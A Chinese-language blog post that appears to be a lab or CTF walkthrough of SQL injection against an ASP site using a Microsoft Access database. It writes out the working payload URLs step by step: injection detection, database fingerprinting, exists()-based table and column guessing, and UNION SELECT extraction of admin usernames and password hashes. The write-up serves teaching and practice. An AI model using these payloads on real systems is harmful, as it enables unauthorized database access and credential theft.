首页 > 其他分享 >ACCESS注入

ACCESS注入

时间:2023-06-27 21:55:12浏览次数:34  
标签:asp list 49.228 ACCESS new 219.153 id 注入

简介

  ACCESS是微软所推出的数据库,具有强大的数据处理和统计分析能力,常用在各类管理软件上。现如今ACCESS数据库使用占比已经较少,但当我们在测试中遇到这个数据库时,也需要有相关的手法进行测试。当然我们也可以祈祷别遇见他,因为后续的各种猜解会让人难以接受,就像我们暗恋的那个女孩,好像离成功只差一步,却因运气,只好作罢。有个一次这种体验,心里就会产生一个想法:"微软,能不能赶紧删了他"

  ACCESS的结构为 数据库->数据表->记录->字段,对,他的数据库只有一个,和其他如mysql等数据库与众不同。他是基于表来对数据进行操作。

注入  

当我们测试注入时,首先就是使用"'"来对注入点进行初步判断,然后使用and 1=1 和 and 1=2来进一步验证。

219.153.49.228:45626/new_list.asp?id=1

219.153.49.228:45626/new_list.asp?id=1'

可以看到这里的两个回显是不相同,这时我们可以使用and1=1 和 and 1=2 来进行测试,当然这里需要区分使用的是什么类型,有数字型、字符型、搜索型,分别对应and 1=1  、 ‘ and ‘1’=‘1 、 %' and 1=1 '%'='%,这里测试为数字型注入。下面的截图说明存在sql注入。

http://219.153.49.228:45626/new_list.asp?id=1%20and%201=1

http://219.153.49.228:48343/new_list.asp?id=1%20and%201=2

因为存在很多的数据库,不知道该网站使用的是什么数据库,所以需要对网站的数据库进行探测,看使用的是什么数据库。那么怎么来判断呢?有两种办法,分无报错信息和有报错信息。

1.有报错信息使用一下代码进行测试:

id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表
id=1 and (select count(*) from msysobjects)>0//msysobjects 是access

 

 如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。

2.使用函数来进行测试,因为access使用的是len()函数和chr函数,不支持length和char函数,所以通过这两个函数来进行比对:

http://219.153.49.228:48343/new_list.asp?id=1%20and%20len(1)

 

http://219.153.49.228:48343/new_list.asp?id=1%20and%20length(1)

猜表名

在猜表名时需要使用exists()函数来进行判断,正确则页面正常回显,不正确就继续更换,看人品咯,我人品好我一次就出来。

http://219.153.49.228:48343/new_list.asp?id=1 and exists(select * from admin)

 

这时我们已经有表名啦,那我们就可以使用表名来看看回显点在哪啦,发现回显点:

http://219.153.49.228:48343/new_list.asp?id=1 UNION SELECT 1,2,3,4 from admi

 

 

猜列名

猜列名首选就是id  password  username  要是没有,就再改变改变,要是实在不行,那就辞职大法,下辈子注意别学网安就好啦

http://219.153.49.228:48343/new_list.asp?id=1 and exists(select id from admin)

http://219.153.49.228:48343/new_list.asp?id=1 and exists(select username from admin)

 

 

http://219.153.49.228:48343/new_list.asp?id=1 and exists(select password from admin)    辞职回家咯

http://219.153.49.228:48343/new_list.asp?id=1 and exists(select passwd from admin)   继续来

 得到id,username,passwd三列,接着看看这个具体数据

得出数据

http://219.153.49.228:48343/new_list.asp?id=1 union select 1,id,username,passwd from admin

你妹的,出个13是个啥球子意思,诶!这就是回显位的重要性,前面看回显步骤的时候,显示的是2和3,说明显示位置是在2和3上,那把passwd放4上那不纯纯粹粹就是马大哈嘛!继续

http://219.153.49.228:48343/new_list.asp?id=1 union select 1,username,passwd,2 from admin

 出来咯,接下来对他呀进行个解码,打开我们的cmd4+1神器,解出来一登录,ok,拿到了KEY    (别真搜索cmd4+1)

 

就讲这锤子多,真的是磨时间,听说还有个偏移注入,我注锤子,我直接sqlmap当脚本小子。拜拜各位!

 

标签:asp,list,49.228,ACCESS,new,219.153,id,注入
From: https://www.cnblogs.com/luocheng8/p/17509162.html

相关文章

  • 【五期邹昱夫】CCF-B(IEEE Access'19)Badnets: Evaluating backdooring attacks on deep
    "Gu,Tianyu,etal."Badnets:Evaluatingbackdooringattacksondeepneuralnetworks."IEEEAccess7(2019):47230-47244."  本文提出了外包机器学习时选择值得信赖的提供商的重要性,以及确保神经网络模型安全地托管和从在线存储库下载的重要性。并展示了迁移学习场......
  • F5APM第七期Network Access模式配置
    F5APM第七期NetworkAccess模式配置’......
  • F5APM第六期Portal Access模式配置
    F5APM第六期PortalAccess模式配置Portal_conn......
  • VS依赖注入(DI)构造函数自动生成局部私有变量
    前言依赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。我们经常会先定义局部变量,再在构造函数中使用,每次都要这样去编写耗时,下面通过VS自带功能,可以......
  • 8万中医药方剂数据库检索方剂大全ACCESS\EXCEL数据库
    今天这一份方剂数据库是最全也是最好的方剂数据库,不但字段内容多,而且记录数也是最多的,字段包含:名称、组成、出处、功效、主治、加减、用法用量、制备方法、临床应用、各家论述、用药禁忌、附注等。HTML内容字段是排版好了的全部内容截图下方有显示“共有记录数”,截图包含了表的所有......
  • VS依赖注入(DI)构造函数自动生成局部私有变量
    前言依赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。我们经常会先定义局部变量,再在构造函数中使用,每次都要这样去编写耗时,下面通过VS自带功能,可以......
  • 发布一个Visual Studio 2022 插件,可以自动完成构造函数依赖注入代码
    赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。不过,手动注入依赖项也可能会成为我们开发过程中的瓶颈。通常情况下,当我们需要注入大量依赖对象时,我......
  • Microsoft WDAC(Windows Data Access Components)是Windows操作系统中的一组组件,用于访
    MicrosoftWDAC(WindowsDataAccessComponents)是Windows操作系统中的一组组件,用于访问和处理数据。OLEDB(ObjectLinkingandEmbedding,Database)则是一种用于访问各种数据源的标准接口,包括关系型数据库、文件系统和其他数据存储。"WDACOLEDBproviderforSQLServer"是Mi......
  • IOC之依赖注入和控制反转
    依赖注入(DI,DependencyInjection)是IoC的一种实现方式,它指的是将一个对象作为参数传入另外一个对象(或者通过接口的方式注入),以实现这个对象之间的依赖关系。这种方式让被注入对象不需要关心自己依赖的其他对象的实现细节,从而实现松耦合。控制反转(IoC,InversionofControl),是一种设计......
  • Access denied for user 'root'@'121.28.69.73' (using password: YES)问题的解决
    问题描述发现是连接不上远程数据库,那就只能先转成本地运行了问题解决转成本地的相关步骤:好吧,耽误了大概一个小时的时间,就是远程连接失败,需要换成本地的;就是将数据库改成本地连接就行啦!......